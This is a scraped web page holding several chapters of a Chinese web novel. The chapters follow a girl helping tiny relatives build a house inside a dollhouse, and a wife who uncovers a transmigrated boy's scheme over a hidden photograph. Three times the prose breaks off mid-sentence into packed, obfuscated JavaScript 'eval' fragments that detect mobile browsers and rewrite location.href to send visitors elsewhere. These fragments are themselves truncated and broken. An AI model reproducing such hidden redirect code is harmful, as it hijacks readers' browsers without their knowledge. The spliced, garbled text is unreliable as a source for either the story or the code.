RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533110|139289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,接下来搭房顶就轻松多了! 而且,他们砍木头拉回来也有很多人看见,接下来只要把拉回来的木头砍碎成劈柴,就可以完美解释房梁的来路了。 “接下来,再弄点小木头搭上去,然后房顶用泥和点干草铺……” 这句话还没说完,几个小人就看见,一张巨大的闪着银光的金属板从天而降,牢牢地覆盖在了房梁上面。 屋顶,这就有了? 还是金属的? “这够结实吗?” 听见天空中神仙的问话,几个人都拼命点头。 这么厚的金属板不够结实,那还有什么东西结实? 在几个小人的目光中,林嘉禾把金属片一口气扣在房梁上,又用手捏了捏,让金属片更加贴合。 易拉罐的金属片很软,但是,对于小人们来说,厚度足足有两指的金属片硬度足够厚了! 不过,这样的材质如果被人看见,那可就说不清楚了。 “快,快拿草和泥盖上!” 相秀赶紧招呼沈梦云姐弟开始干活,林超美也跑来跑去地抱干草,林志国赶紧和砂浆。 林嘉禾也感觉到了爷爷奶奶们的紧张,把和好砂浆的干草一团一团地捏起来,然后改在金属片上抹平。 她本来还担心铁屋顶会冷,不过,这样抹了厚厚一层的泥之后,应该就不会太容易导热了吧? 整个过程中最震撼的是沈梦龙。 他只能听见神仙说话,看不见神仙的手,全程看见一些巨大的材料飞来飞去。这样的奇诡让他对神仙比哥哥姐姐们更加敬畏。 房顶糊满了泥之后还没完,还要交错地搭一些细木头上去。林嘉禾突发奇想,去客厅抓了一包牙签来,看着小人们一根一根排列上去。 “这木头真好啊,都一模一样大小,就是有点太扎眼了,志国你弄点泥糊一糊,别看着太新了。” 林志国的腿还没好,只能坐着,一根一根给木头糊泥水的工作正好适合他。林超美也想玩,但是这种天气里玩泥巴也很冻手,沈梦云用一小块糖哄她进屋玩去了。 木头搭好,上面再搭了一层草,整座房子的大框架就盖好了。剩下装门窗的精细活,几个知青就算是再想自己做也不行,只能雇人来干。 “行了,秀儿啊,那我跟小龙就回去了。你别太累,好好歇着,明天抓紧找个木工开把门窗装一装。” 都是自己人盖的房子,外面一边垒石头墙,里面一边垒了灶头和火炕,明天把火炕封好砖抹好泥,装上门窗,就能直接搬进来住了。 正常来说,还应该多烤几天,但这房子就算是不烤也比住牲口棚要好多了。 相秀给几个灶头都点上火,忙得一身是汗。她擦了擦额头的汗,往天上看过去,夜色里已经看不见神仙的踪影了。 想必应该去忙天宫里的事情了吧? 她搂着林超美,一字一句地教女儿:“超美,一定不能忘了神仙的模样,咱一家子的命,都算是神仙救的!” 林嘉禾完全不知道奶奶正在教姑姑,她确实在忙,可是却在忙着写作业。 林妈妈从舅姥爷家里回来,路上还买了甜瓜,切成小块装了一碟子,插好小叉子给女儿端进来。 “还有多少呀?” 她伸头看了一眼,都是没什么技术含量的重复性抄写。新来的这个老师布置作业有点不知道轻重,一个词就要抄一整页。 “妈妈帮你写点?” 林嘉禾心动了一下,然后又叹了口气。 妈妈的字太好看了! “妈,你的字太好看了……我的字跟狗爬一样,老师一下就看出来了。” 林妈妈搂着女儿坐下,看她一笔一划地写“蘑”字,时不时指点一下间架结构:“禾禾想练字吗?不过练字特别累,小时候你外婆压着妈妈练字,练了好几年呢。” 林嘉禾吐了吐舌头:“妈妈,能看懂就行了!我可吃不了那个苦。” 林妈妈失笑,揉了揉闺女的头。 不过,这样开朗的小女孩,才正是她和林爸爸想养出来的小孩呀! 最开始,奶奶给林嘉禾取的名字本来是“林庭芝”,取自“譬如芝兰玉树,欲使其生于庭阶耳”。林妈妈自己做主,改成了嘉禾。 只希望她长成一颗健康快乐的小苗苗就可以了。 她和林爸爸的家庭都有所缺憾,两个人商量过了,这辈子都只有林嘉禾一个宝宝,两个人也会尽最大的力量陪好禾禾宝贝。 林嘉禾感觉到妈妈不说话了,她扬起脸问妈妈:“舅姥爷会来我们家吗?” 林妈妈遗憾地叹了口气:“你舅姥爷还是不想来,不过他现在身体已经不好了,当年坐牢的时候磋磨得太厉害了。妈妈有空会多去看他的,尽量劝你舅姥爷来咱家养老。” “下次妈妈带我一起去吧!” 林嘉禾印象中,舅姥爷还是很喜欢自己的。下次她过去搂着舅姥爷好好磨一磨,说不定舅姥爷就能过来了呢。 她想起来自己之前没问过的事情:“妈妈,舅姥爷是为什么坐牢的呀?” 林妈妈顿了一顿才回答:“当初你外公在外婆去世之后第三天就认识你后外婆了,正好叫你舅姥爷撞见了。他差点把你外公打出事儿,又赶上严打,判了二十年。” “应该打!” 林嘉禾攥着的小拳头被妈妈柔软温暖的手心包住了,林妈妈贴了贴她的脸:“好了!快写作业吧,快写不完了!” 她哀嚎一声,继续趴桌子写作业。 足足六页抄写,直到晚上十一点才艰难写完。林嘉禾气愤地把给语文老师的贺卡从书包里掏出来,撕掉了两片小装饰。 不给她小蝴蝶了! 9.第九章 周一的早上,林嘉禾有点恍惚地从床上爬起来,时间已经来不及去娃娃屋看了。她手忙脚乱地从早饭里偷拿了两颗小饼干放了进去,就跟着爸爸上学了。 大家都给老师写了贺卡,每堂课上课前拿出来比一比。 林嘉禾小朋友的贺卡大获全胜! 不过,也不能说是全胜。 新转学来的王可睿就一张贺卡都没做,他家的阿姨拎着大包小裹直接去了老师办公室。 王可睿看着一群小学生做的粗糙贺卡,还互相攀比,抬起小下巴,高傲地扫了一眼。 坐在她前座的小男孩还以为他想看,殷勤地把自己的贺卡递过去。 “给你看!你喜欢吗?给你做一张啊?”小男孩有点扭捏,“让我摸摸你家那个车就行!” 王可睿一个白眼,懒得理他。 不过,完全不理同学也不是不行的。妈妈说了过几天给他办生日宴,让他请几名要好的同学。 王可睿同学不想承认自己转学两周一个好朋友也没认识,他在班级里观察了几天,发现林嘉禾的人缘是最好的! 只要请了林嘉禾,然后让林嘉禾再请几个他要好的小朋友来就行了。这样,他也不用跟这些土包子同学说话说太多了。 语文课上完了,林嘉禾愤愤地把无装饰版·但仍然很好看·贺卡送给了语文老师,对方完全没察觉到小女生的愤懑,盛赞了她的贺卡。 “林嘉禾同学的手很巧呀,要不要去试试班级后面的黑板报呢?老师觉得你一定会做得非常棒的!只要这周五之前画好就行了!” 她·不·想·试! “哦……” 林嘉禾带着满腔不爽回到了座位上,一抬头,就看见新转学过来的王可睿堵在她面前。 “干什么?” 她对新同学的印象可一直不太好。 每天穿着白衬衫黑裤子,像要去合唱团唱歌一样。平时用鼻孔对着人,长得再帅能怎么样! 还能帅过雪兔吗? “周末我家开生日派对,你到时候叫几个同学一起过来。” 王可睿看着林嘉禾看起来没什么心动的意思,连忙又补了一句:“我妈请了很多大厨,做自助餐,还有小游戏,有礼物。” 他得意地抬起脸:“我会亲手画画送给你们的!” 亲手画画很了不起吗? 林嘉禾很想吐槽,不过,突然想到了什么。 她腾地蹭椅子上站起来了,个子比王可睿还高了那么一点点。 “你画画很好吗?” 看着刚刚还满脸不情愿的小女生瞬间换了气势,王可睿半退了一步…… “你替我画黑板报吧!明天……今天开始!每天放学画一会儿!只要周五前画完,我就领人去你的生日宴会!” 林嘉禾觉得自己可聪明了!她一下就看穿了,王可睿绝对是请不到人才来喊自己的。 不然,班级里平时都是男生跟男生玩,女生跟女生玩的。大家泾渭分明,课桌上还要画分割线呢。 王可睿没吭声……他有点不想干这种活。 “怎么样?我带五个人去,三个男生两个女生!” 王可睿有点心动,但还在挣扎——画黑板报会把他衣服弄脏的! “七个人!五个男生,两个女生!绝对让你妈妈满意!” 林嘉禾看过很多次王可睿妈妈了,那是个看起来非常一板一眼的美女。虽然对小朋友们会微笑,但随时随地散发着一股“别给我找麻烦”的气势。 看着王可睿有点要松口的意思,林嘉禾又压上了最后一根稻草:“八个人!不能再多了!我还可以跟你妈妈说老师超喜欢你的!” “行行行,”王可睿再次确认,“算上你九个,对吧?别都是女生啊,那我妈该怀疑我了。” “没问题!” 迅速把语文老师给的麻烦甩了出去,林嘉禾觉得王可睿看起来都有那么几分顺眼了。 她还特地强调:“你放心,你妈妈知道你画黑板报只会觉得你被老师看重的!” 王可睿有点怀疑,不过又觉得林嘉禾说的可能是对的。 毕竟,几乎每个老师每个家长都喜欢林嘉禾。连他妈妈都问过一次那个齐刘海小女孩叫什么。 晚上放学的时候,王可睿一脸不以为然地去教室后门笔走龙蛇。 他学了好几年画画呢。黑板报,小意思啦。 他照着学校小卖部最流行的贴纸,画了一只小可上去。本以为能得到林嘉禾的大声称赞,没想到一回头,人不见了。 “禾禾回家啦,她最近都超级忙的,一放学就往家里跑。” “是啊,好几天没跟禾禾一起去吃小摊了。” 林嘉禾不知道教室里很多人在想她,她现在满心都是冲回家看奶奶的新房子! 应该差不多能盖好了吧? 沦为工具人的林爸爸丝毫不知道,被闺女随便哄了一下,又是把自行车蹬得飞起来的一天。 到家吃完饭,林嘉禾犹豫了一下,在偷一只大虾和偷一块红烧肉中间选择了红烧肉。 和奶奶一样大的虾,奶奶可能会吓得不敢吃吧? 这些天下来,林嘉禾偷食物的技巧已经很熟练了,甚至学会了提前在口袋了放小塑料袋。她轻巧地伸了伸手,就把红烧肉掉进了口袋里。 “爸爸妈妈,我吃完了,进屋写作业去了!” 看着乖女儿进屋之后,林爸林妈偷偷交流。 “今天偷的是红烧肉吧?” “为什么不是大虾啊,大虾不是更好拿吗?” “她到底在屋子里养什么宠物了?” 两个人一开始以为林嘉禾养的是小仓鼠,后来以为可能是小猫,但如果是小猫的话,今天不是应该偷大虾而不是红烧肉吗? 为了不打扰宝宝的兴致,两个人这几天进女儿房间都少了。就算是进去打扫,也会避开衣柜、抽屉这些可能会发现的危险位置。 宝宝要保密,那就让她保密好了。 “我还特意做的白灼大虾,小猫能吃红烧肉吗?会不会太咸了啊?” “禾禾应该知道的吧……要不找找有没有养猫的节目,或者晚上提一提?一会儿你把纸箱子放客厅吧,她要是用就当没看见。” 林爸林妈的话题开始无限制发散的时候,林嘉禾已经又扒在娃娃屋墙上了。不过,今天奶奶的小院子里人好多,她可不敢这么把红烧肉丢进去。 “哇,房子已经完全盖好了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546938|139289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 相秀听见了神仙在天上的赞叹,但是却没时间回答。 她的房子盖好了,整个村里的人都来看了! “没看出来啊,沈梦龙那小子手上活计这么好?这才几天啊,就把房子盖完了?” “相秀也是下死力气了啊,这房子盖得真快啊,好几回我半夜起来都看着相秀自个在那干活。” “那也没办法,志国叫土墙压了一下子,她闺女还小。” 大家绕着房子看着,相秀有点惴惴不安。她甚至把石头房子外头都用泥巴糊了一遍,希望大家看了以为是土胚房。 “土房得多晾几天再住吧?” 有个声音特别尖的小人出声了,惹得林嘉禾也多看了她两眼。 “哎哟,你瞎说什么呢,她家天天可都住在牲口棚子里呢。别说这土房没干啊,要是大队那厕所能住人,都得搬进去。” 林嘉禾生气了! 这大妈瞎说什么呢! 她看见奶奶坐起来,横眉立目瞪了过去,又笑了一声:“看来付琴没少惦记大队那厕所啊,你放心,我可不像你,饿得天天惦记那厕所。” 付琴反应了一下,才反应过来,这相秀是说她想去吃屎! 她脸色气得涨红,正想喷回去,突然感觉脑袋上被什么东西淋了! 周围的人群一哄而散。 “这什么味儿啊,这么臭!” “这什么东西啊?鸟粪吗?咋会有这么大一滩鸟粪,多大的鸟啊?” “会不会是丹顶鹤啊?” 付琴伸手颤颤巍巍地往头顶上摸过去,带着一股恶臭的绿色液体流了她满头。 “这是什么东西!” 这样的天气里,不管是什么液体,哪怕是鸟屎,都会迅速地冻硬的。付琴生怕这鸟屎冻在她头上冻硬了,迅速地冲出了院子,往自己家里冲回去。 她得赶紧把头顶上这东西洗干净! 林嘉禾得意地看着冲出去的小人,迅速地把手上的筷子拿远。 嘿嘿,是臭豆腐的汤! 爷爷说过,现在这里面是破四旧的时期,不能表现得太夸张。她刚刚想了想怎么帮奶奶出气,就想到了去蘸一点臭豆腐的汤汁。 她超讨厌臭豆腐的,不过林爸爸很喜欢,在家里厨房摆了一罐子,时不时偷偷地去吃一点。 只有相秀和林志国看见了刚刚天上伸下来的那一段木头,还有上面滴下来的恶臭汁水。 看着付琴被那恶臭汁水弄跑了,相秀心里舒服多了。 大家看得差不多了,三三两两地散开了,只有两个跟相秀关系不错的知青留了下来。 当初那一批知青里面,只有林志国一个人结了婚,别人都还撑着,希望能早点回到城里,而不是在这安家。 “秀儿,等开春的时候,咱们生产队也要开始养猪了。你现在又带孩子,志国也得你照顾,你试试能不能争取一下这个活吧。” 养猪确实是轻省活儿。 但是,也得有点技术才行。相秀很想去争取这个活儿,可是,她完全没养过猪,甚至见都没见过几次。 她正犹豫着,突然听见,神仙的声音又想起来了。 “我可以帮你找养猪的资料!” 10.第 10 章 第二天一早五点半,林之行醒过来了。 冯孟云和孩子还在睡,他伸手给孩子掖了掖被角,又鬼使神差地去看冯孟云的脸。 她睡得一团孩子气。 这几天吃了点好东西,晚上的炕又烧得热,冯孟云的脸上多了些血色。比起之前苍白的脸,看起来温柔一些。 林之行伸手出去,本来要落在她的脸上,犹豫了一下,只是同样掖了被子。 早上的天气还是有点冷,他的手指太冰了。 穿好衣服,喝了口热水,林之行出去扫了院子,把昨天薄薄的一层雪扫干净。他捡了几块劈柴,进屋把路子重新烧起来,待火旺了再用煤泥压住,这样屋里的炕又热又不会太烫。 提一壶水坐在炉子上,林之行把昨天晚上剩的饼子吃了一口,这才出门去。 天还黑着,他打开手电筒,看着夜空里几道手电筒的光束交汇在一起。 林之行紧了紧领口,往村口走过去。 最近正是水利大会战最忙碌的时候,几个营长都得早起往工地上赶,尤其是他这个重点负责机务排的,晚去一天,搞不好要耽误很多活计。 后世富饶的北大荒、黑土地,也不是天生就如此,全靠生产建设兵团开垦。密密麻麻的水利网咯,布满了祖国的边陲,这才是生产最有利的保障。 “小林今天有点晚啊?” “嗨,没听说吗?人家现在跟媳妇感情好了!” “是吗?不是说两口子感情不行,天天打吗?以前天天最早出门的就是林之行,都不知道我是老头子,还是他是老头子。” 除了林之行外的其他营长,年纪都不小了,早就过了结婚早期的日子,早上起来得都挺早。 结果,林之行这个小年轻更早! 今天,一群中年男人看着最晚的林之行,都打趣他。 林之行平素不太喜欢接受这种打趣,不过,今天看了一眼,两个副团都在,正好他也有事相求。 “没有,起得早了,就把柴火劈了劈,点了点路子,这才晚了。” 三团的副团长笑了笑:“哎哟,小林可以啊,早上起来先干活,你们家那个谁管得挺严啊。” 一群人哄堂大笑。东北民风,媳妇是要厉害一点的,生产建设兵团的人虽然天南海北,但还是本地为主。 地上站着的几个团长营长的,至少得有一半回家还得受家里领导。 看副团长搭了话,林之行凑上去,顺手拉了一把刘政委给他敲边鼓。 “赵哥,我有个事儿求你。” 林之行求人,至少在第六师还是很有面子的。几个机务排都在他手下,不管是拖拉机还是各种农机,使用、修理,都得从林之行这里走一遍。 可以说,在生产建设兵团,林之行的这个副营长,算得上是杠杠的实权。 “哎哟,小林求到我了?”赵团长也有意跟他亲近一番,伸手点了点他,左右扫了一眼,“没想到啊,这你可多往我们团跑几趟!让你手下那几个小子去可不成!” 整日整日地干农活,本来傻大憨粗的拖拉机就也成了娇贵玩意,动不动就有毛病。其他人修理的总是不如林之行那么妥帖,经他手的,总是很少再犯病。 刘政委顺手拍了一把林之行,知道他素来不擅长拍马屁,赶紧帮他溜溜缝:“就是没有这事儿,赵团副叫小林,不还是一句话的事儿吗!是不是小林?” 林之行感觉点头,送上个笑容,感觉自己的脸都有点僵。 赵团长这才问他:“什么事儿?你放心,只要你说,我就给你办妥当的。” 听话听音,他这话的意思其实是,如果太不靠谱那就别说了。 不过,林之行要求的也不是什么大事情。 “我听说,咱们营地那边,要搞个医务室。现在还缺人手吗?我们家孩子也大了,我寻思给我们家冯孟云找点事情做。” 赵团长之前还以为什么事儿,最近水利大会战,到处都缺人。这个林之行又是有名的冷面阎王,涉及到工作的事情一点情面都不给。 听到是这事儿,立刻笑开了。 这个人情,别说林之行求他办事了,他要是知道小林家那口子需要个工作,早就找上门去了! “这确实,军属要求上进、要工作,这种事情咱们还是必须得支持嘛,”他伸手拍了拍林之行,“不过,医务室的大夫护士这些必须得有专业资质,哪怕是过去拿个药登个记,也得好好学习才行。你看看你们家那口子行不行?” 林之行脑海里闪过那天冯孟云“绑架”刘政委拒绝离婚的事情,嘴里答了一句:“行,她脑子还挺灵光的,人也认真,一定能做好。就是想给她找个带孩子也能做的活。” “那没问题,咱们医务室那边都是新盖起来的,红砖大瓦房,窗明几净的,屋里也暖和。带个孩子没啥,我可是见过你们家那小姑娘,长得像咱们小林!” 林之行笑了笑,听见赵团长紧接着就开始找他聊农机的事情,打起十二分精力应付他。 在家的冯孟云,这会儿也起身了。她还不知道,林之行这么早就已经把她的工作敲定好了。 她发呆了一会儿,看见女儿也睁眼睛了,这才慢慢地爬起来。 没什么可以出去走动的地方,在家里待上一天,属实是有点难捱。 跟周嫂子是熟悉起来了,但是也不能每天都过去,她琢磨了一下,还是只能在家里收拾东西。 不过,冯孟云没出门,倒是有人上门找过来了。 她听得院子门咯吱响了一声,有人进来。 家属排附近都是熟人,基本上不会出现什么偷东西之类的事情。大家都不锁院门,有人来也是直接推门就进。 冯孟云从窗子往外看了一眼,是宋毓秀,身后还牵着个半大小子,是陈涵。 她的脸阴沉下来了。 这几天,从系统的口中,她基本上已经还原出整本书的前半部剧情是什么样子了。这个陈涵,就是个废物,怎么还有脸上门来? 而且,之前在小卖部的时候,他明显是认识禾禾的。冯孟云把禾禾安顿到炕上,把之前买的发卡塞给她:“乖乖坐着,咱们不下地。” 房间里还是冷,禾禾乐得不下地在炕上坐着,冯孟云看她点了点头,这才放下心来。 宋毓秀已经老实不客气地走进院子了。 上次在小卖部见到的时候,她和冯孟云并没有互通姓名,冯孟云走得太快,她还没等说什么,就看见冯孟云已经走了。 这次,她是被儿子撺掇过来的。 “到底为啥非得来这家?” 宋毓秀跟前夫的感情不太好,唯独对这个儿子十分疼爱。 只不过,之前的儿子一直是沉默寡欲的性格,前段时间碰了头住了院,或许是她照顾得好,儿子终于活泼起来了。 不光是活泼,嘴巴也甜得多了。每天把“妈妈我好爱你”挂在嘴上,帮她干活,晚上睡觉的时候也像还没长大似的。 这会儿,感觉儿子挎着自己的手臂,跟自己贴得紧紧的,宋毓秀心里头很舒服。 男人刚没的时候,她一门心思都是赶紧再找一个。不然,她又没工作,靠着那点抚恤金,能过一辈子? 不过,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612733|139289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿子的建议下,她找了男人的老首长,住到这生产建设兵团的家属院里来了。现在儿子又跟自己亲近,宋毓秀甚至觉得,就这么带着儿子也挺好的。 想到这,对今天来这里她越发不解了。 “那林之行人确实不错,可是人两口子不是还没离婚呢吗?” 就是这点,才让陈涵想不通。 穿越到自己写的这本书里,本来他以为自己可以舒舒服服开金手指,只要让书里的这个“妈妈”跟自己那个继父结婚之后,自己就可以等着躺赢了。 可是没想到,继父居然不离婚了! 他当初的设定了,林之行的亲生父母,在京城可是世家之巅的存在。这份资源最后归他继承,在整个京城的二代圈子里,都是可以横着走的。 这份资源?说没就没了? 他穿越到这个年代,做生意做不了,搞别的没资源,唯一的资源怎么能就这么飞了? 唯一的好处,就是这个妈目前还是挺听他的。他当初写书的时候,顺手给亲妈也设定了美貌,娇滴滴的,唯一的遗憾就是当初没顺手设定一下,两个人还真的是血缘关系。 “过去看看,妈,我这不也是怕你孤单吗。我可听人说了,这个冯孟云在家偷偷搞封建迷信,林之行跟她离婚是早晚的事儿。” 他好不容易把宋毓秀哄过来,探探虚实。 两个人一路进门,冯孟云已经站在门口等着了。 系统塞进她脑子里的书,她已经看过了,这个陈涵不是穿书就是重生,总是要小心一点的。 不过,她心里头有点看不起这个陈涵。 她脑子里的书大部分都是女主女频文,哪怕是女孩子,穿越到这个年代,一般也都是开始搞事业。怎么这个男的穿越到这个年代,第一步先是来搞她家林之行? 就那么想给人当儿子? 看着陈涵亲亲热热地挎着宋毓秀进门,就让她更恶心。 在不明就里的外人看来,可能会觉得这母子关系好,可不管这个陈涵是重生还是穿书,跟亲妈这么亲近,都叫人觉得恶心。 她甚至没打算叫人进屋,直接就堵在了门口:“你是?” 宋毓秀的脸上才刚刚堆起来的笑容,这就僵住了。 之前在小卖部跟冯孟云打招呼的时候,她还看冯孟云脸上带着点笑,怎么现在就这么冷淡了? 这人站在门口,连门都没开,摆明了甚至不欢迎她们母子进屋。 陈涵看宋毓秀有点尴尬,赶紧出来打圆场:“冯姨,你忘了?那天小卖部咱们见着了,我妈出来逛逛,到你家门口了,感觉肚子有点不舒服,想讨一口热水喝。” 宋毓秀隐隐觉得有点不舒服,她侧脸看了一眼这个儿子。 跟她亲热,说话嘴甜,她都觉得是好事情。可是这儿子怎么出口就是谎话? 不过,教育孩子也得回家教育,宋毓秀也不打算就在这说什么。反正她最近也是经期,索性直接接着孩子的话借坡下驴。 “是啊,我这肚子有点酸痛,能不能进屋暖和暖和?” 话说到这,冯孟云也不好继续坚持了。而且,她也怕自己坚持太过被看出什么端倪来。 “进来吧,坐一会儿。” 而且,看宋毓秀脸色有点发白的样子,说不定身体真的不太好。 冯孟云侧过身子,让开地方,让两个人进来。 她看着陈涵贴身搀扶着宋毓秀进屋,努力控制住自己后退一步的冲动。虽然觉得这个畜生无比恶心,但是现在不能被对方发现。 而且,她也想知道,对方到底为什么找上门来? 11.第 11 章 宋毓秀进屋,冯孟云让她坐在炕上。 打定心思不让宋毓秀起疑心,冯孟云给她倒了杯水,轻声问了一句:“亲戚来了?” 看宋毓秀点点头,她又去拿了红糖罐子,加了一勺红糖进去。 看见这一勺红糖,宋毓秀放心不少。能拿红糖水待客,说明冯孟云还没特别烦她。 “冯姐,那天我在小卖部听她们说你名字了,我叫宋毓秀,你听说过吗?” 冯孟云把红糖水递给她,摇了摇头,装作不认识她,看看这女人会说什么。 “不瞒你说,我们家那口子没了,”宋毓秀端上红糖水,想试试从冯孟云这能不能探听出来什么,“上你家门也不知道你嫌不嫌弃,要是不太方便,冯姐你知会一声,我这就走。” 冯孟云在心里吐槽,都坐这了才说这话,不觉得太晚了吗? 不过,这宋寡妇说话的时候,声音也娇滴滴的。 想到将来这人跟林之行在一起,哪怕是因为剧情的关系,冯孟云也一阵不舒服。 她严阵以待,脸上也挂上笑:“那哪能呢,不过,我看着你应该比我大点?我叫你宋姐,你叫我小冯就行了。” 孩子这么大了,倒管她张嘴就叫姐。 宋毓秀有点尴尬的样子,喝了口红糖水掩饰,喝的太快了,又有点呛着的意思。 陈涵在一边坐不住了,他这个妈也是有点笨,让她来打探两个人感情,她在这说什么呢? 跟冯孟云争什么谁大谁小?女人就是麻烦。 他装出一副天真的样子,看着冯孟云:“冯姨,我叔呢?” “他去干活了,现在不是水利大会战嘛,大家都干得热火朝天的,”冯孟云看着陈涵眼神看过来,挪动了一下身体,坐在了对方和禾禾的中央,“今天一大早就出去了,我都没注意几点。” 冯孟云嘴上说得亲切:“我跟闺女才起来,还没吃饭,也不知道他早上做的什么留下。” 她这话一边是显示一下自己和丈夫的感情,一边也是暗示宋毓秀,喝口水就赶紧走吧,我们这还没吃饭呢。 她看着陈涵那一双狗眼睛在屋子里到处乱看就烦人! 不知道这人到底在找什么?冯孟云打定主意,等陈涵走了之后,自己在房间里翻一翻,看看能不能找到这狗东西到底在看什么。 宋毓秀也听出来冯孟云的言外之意了,不过看着好不容易变乖的儿子还在那里看,她也不好意思这就走。 只能猛喝红糖水。 冯孟云看着心烦,尤其担心陈涵这小孩子对禾禾有什么想法。她对着陈涵露出个笑脸:“叫你在这坐着也挺为难的,十来岁的男孩子,不正是喜欢跑动的时候。你想干什么就干什么,不用在这陪着。” 陈涵眼珠子一动,乖乖听话走出去了。只不过,才出去几步,冯孟云就听着他在外面大叫。 宋毓秀扶着肚子看向她:“妹子,你看一眼,我实在是难受。” 冯孟云戒备的是陈涵,看了看闺女,想了想,一把抱起女儿出去看陈涵了。 见她抱着女儿出来,陈涵装出一副小孩子模样:“冯姨,这边有个耗子洞!” 冯孟云抱着禾禾,随便安慰了他两句,赶紧回房间。她越来越看不懂这两母子在做什么了,说了几句,赶紧说自己要吃饭,把两母子送走了。 一出门,陈涵就问宋毓秀:“妈,找到什么照片之类的东西了吗?” 他记得,他笔下写的林之行弥留之际被京城的父母找到,就是靠着一张背面写了字的旧照片才认亲成功的。 “时间太短了,我怕让冯孟云发现,”宋毓秀有点害怕,伸出手扶住儿子,“抽屉,炕柜,甚至连被褥底下我都摸了摸,完全没看见。不过我看见了别的东西……” “别的东西?” “我看见离婚报告了!” 提到这个,宋毓秀神采飞扬起来:“你别说,这个冯孟云装的还挺像的,还说林之行给她劈劈柴还做饭的,那离婚报告的章都盖上了!” 军区这边离婚的手续没那么复杂,上峰批准之后,只要拿去民政那边变更一下户口,两个人就是实打实的离婚了。 宋毓秀高兴起来。 虽然儿子乖了懂事了,但是那个林之行长得帅,人也有前途,是个很年轻的营长。将来岂不还是可以照拂儿子? 她低头贴近儿子的脸,贴了贴,问他:“你不会怪妈妈给你找个后爸吧?” 陈涵自然不怪,他还惦记着这个未来继父的资源呢!还有他亲自写成全书第一美女的林嘉禾。 “不会,”他想了想,“不过,那个离婚报告放在那没上交,会不会是林之行回心转意了?” 宋毓秀笑得更甜了,她的肤色很白,脸上还有一只小小的梨涡,确实甜。 “你看看?” 她小心翼翼地从棉袄里拿出一份文件,正是林之行没藏好的那份离婚报告。 只要把这份报告交上去,让两个人的离婚成为事实,她才不相信林之行会重新大费周章地撤回或者重新结婚呢。 男人都是偷腥的猫! * 送走宋毓秀母子,冯孟云有点担心,这对母子到底在找什么? 刚刚她没让陈涵离开自己的眼睛,不过,不知道宋毓秀做没做什么不该做的事情。 这会儿系统还没有出来。 这些日子里,冯孟云也发现了一个规律,不知道为什么,只要女儿醒着或者在说话,这系统就不会出来。 她想来想去,难道是因为小孩子的五感比较敏锐?能听见系统说话?为了防止露馅,所以这系统才不在禾禾醒着的时候出来? 这也说不得过去,以前她们家那边的风俗就是上坟不带小孩,因为小孩子的眼睛干净,没准就能看见什么。 她看了锅里头,林之行留了饼子和一碗炖茄子给母女俩,她把禾禾抱上炕,让她就着炕桌吃饭。 林嘉禾吃饭的时候,冯孟云在抽屉里翻墙倒柜。 她刚刚注意到,陈涵的目光一直在这附近逡巡。要找的东西,多半就在这几个抽屉里面了。 能在抽屉里找到的,会是什么呢? 冯孟云迅速地在几个抽屉里翻来翻去,里面大部分东西都是她认得的,怎么看也不会是陈涵特地惦记着的东西。 值钱的,也就是一堆票证,但既然是重生或者穿书男主,也不至于傻到来家里偷这种东西吧? 她翻着翻着,突然看见了一个小盒子。 这个小盒子,在她印象里应该是属于林之行的。 过去的冯孟云不太管家里的事情,更不会管林之行的东西。这个小盒子她无数次地看到过林之行珍惜地打开,又珍惜地擦干净放回去。 里面到底是什么? 冯孟云好奇地把盒子打开,里面赫然是一张旧照片。照片里,是个小男孩,穿着精致的小军装,手上还拿着手枪,比着姿势,背面的字体规规矩矩地写着:1921.4。 小男孩的眉目和林之行有些相像,难道是他的父亲? 冯孟云知道林之行是孤儿,但是她从来没听对方提起过自己的家庭,甚至连一点怀恋都没听见过。 或许林之行从军,就是因为这张照片?从照片上看来,林之行的家里肯定是非富即贵,这样的家庭,又为什么会让孩子流落在外,一直没找回去呢? 她把其他抽屉也翻了翻,家里没有任何奇怪的东西,甚至连一些象征意义的玉佩啊之类的也没有。 如果男主真的是在她家里找东西,肯定找的就是这张照片了。 难不成他知道林之行的亲生父母在哪? 冯孟云的心突突地跳起来。 她把照片连小盒子擦干净,贴身收在衣服内袋里,准备晚上等孩子睡了问问系统,知不知道这到底是怎么回事。 不过,晚上她还没等来系统,却先等来了林之行的通知。 晚上林之行回家的时候,看着桌子上的鸡蛋酱,心里颇有些满意。 整个家里早就不复过去的冷冰冰了。当时家里看着干净是干净,但是一点烟火气都没有的感觉。 现在的炕上丢着两个蒲团改成的抱枕,还还个缝了一般的不知道什么东西,桌子上也放着孩子的折纸,反而显得更有人情味儿,更像是个家了。 他进屋,捡起炕上缝了一半的东西,仔细看看,隐约能看出来大概是个小兔子。 “这是给禾禾缝的?” 正在摆饭桌的冯孟云点了点头:“禾禾也没什么玩具,给她缝个兔子玩玩。对了,问你个事。” 林之行转身看冯孟云。她要问什么? 